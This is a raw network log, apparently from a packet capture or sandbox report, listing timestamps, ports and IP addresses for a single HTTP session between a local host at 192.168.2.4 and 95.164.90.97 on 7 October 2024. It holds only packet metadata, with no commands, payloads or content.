Oct 7, 2024 03:15:40.487454891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.487459898 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.487488031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.487498999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.487524033 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.487535000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.487557888 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.487565994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.487592936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.487598896 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.487627983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.487641096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.487663984 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.487672091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.487701893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.487713099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.487749100 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.511488914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.511646032 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.511672020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.511704922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.511729002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.511751890 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.511765957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.511816025 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.511822939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.511871099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.511877060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.511912107 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.511921883 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.511955976 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.511965036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512011051 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512018919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512067080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512073040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512118101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512125969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512173891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512180090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512217045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512248039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512265921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512274981 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512319088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512326956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512372971 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512377977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512413979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512427092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512461901 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512470961 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512506008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512522936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512541056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512552977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512577057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512586117 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512612104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512623072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512658119 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512666941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512701035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512706041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512737989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512749910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512783051 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512795925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512830973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512840986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512876987 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512885094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512918949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512932062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512953043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.512960911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.512988091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513000011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513021946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513026953 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513062000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513066053 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513092995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513108969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513135910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513147116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513196945 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513205051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513247013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513254881 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513290882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513302088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513324976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513335943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513360023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513370991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513394117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513398886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513437986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513448000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513482094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513493061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513516903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513533115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513554096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513561964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513588905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513600111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513618946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513634920 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513652086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513664961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513688087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513698101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513720989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513731003 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513756037 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513765097 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513789892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513802052 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513824940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513834000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513859987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513869047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513897896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513902903 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513931990 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513942957 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513966084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.513976097 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.513998985 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514010906 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514033079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514044046 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514065981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514095068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514098883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514115095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514132023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514148951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514167070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514173985 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514206886 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514241934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514260054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514275074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514297962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514309883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514321089 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514343977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514353991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514378071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514383078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514414072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514422894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514448881 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514461040 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514483929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514488935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514523029 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514529943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514556885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514570951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514595032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514628887 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514635086 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514652014 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514750957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514782906 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514816046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514849901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514884949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514919996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514949083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.514954090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.514987946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.515023947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.515091896 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.534749031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.534800053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.534836054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.534869909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.534871101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.534908056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.534908056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.534941912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.534945011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.534976959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.534981012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.535001993 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.535018921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.535033941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.535068035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.555097103 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.555150986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.555187941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.555222034 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.555257082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.555257082 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.555294037 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.555314064 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.555332899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.555344105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.555362940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.555378914 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.555407047 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.574131966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.574203968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.574230909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.574240923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.574259996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.574276924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.574294090 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.574312925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.574326038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.574348927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.574363947 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.574385881 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.574398041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.574421883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.574438095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.574457884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.574471951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.574492931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.574507952 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.574527979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.574538946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.574562073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.574579000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.574596882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.574610949 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.574635983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.574646950 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.574687004 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.598364115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.598428011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.598464012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.598469019 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.598499060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.598522902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.598526955 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.598577976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.598627090 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.598632097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.598669052 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.598687887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.598704100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.598721981 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.598758936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.598762989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.598809958 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.598819971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.598855972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.598866940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.598891973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.598903894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.598942041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.598944902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.598979950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.598994970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599009991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599029064 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599044085 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599056959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599081039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599092007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599131107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599138021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599188089 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599195004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599248886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599251986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599287987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599299908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599322081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599334002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599358082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599369049 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599409103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599431992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599467039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599483013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599515915 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599519968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599569082 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599575043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599608898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599628925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599658966 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599666119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599699974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599721909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599735975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599746943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599773884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599786043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599817991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599827051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599875927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599879980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599916935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599930048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.599951029 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.599966049 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600002050 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600004911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600044012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600054979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600080013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600092888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600116014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600130081 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600153923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600166082 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600191116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600203037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600225925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600241899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600275993 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600280046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600315094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600328922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600349903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600364923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600387096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600399971 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600423098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600439072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600457907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600470066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:40.600492001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600527048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:40.600555897 CEST	49737	80	192.168.2.4	95.164.90.97
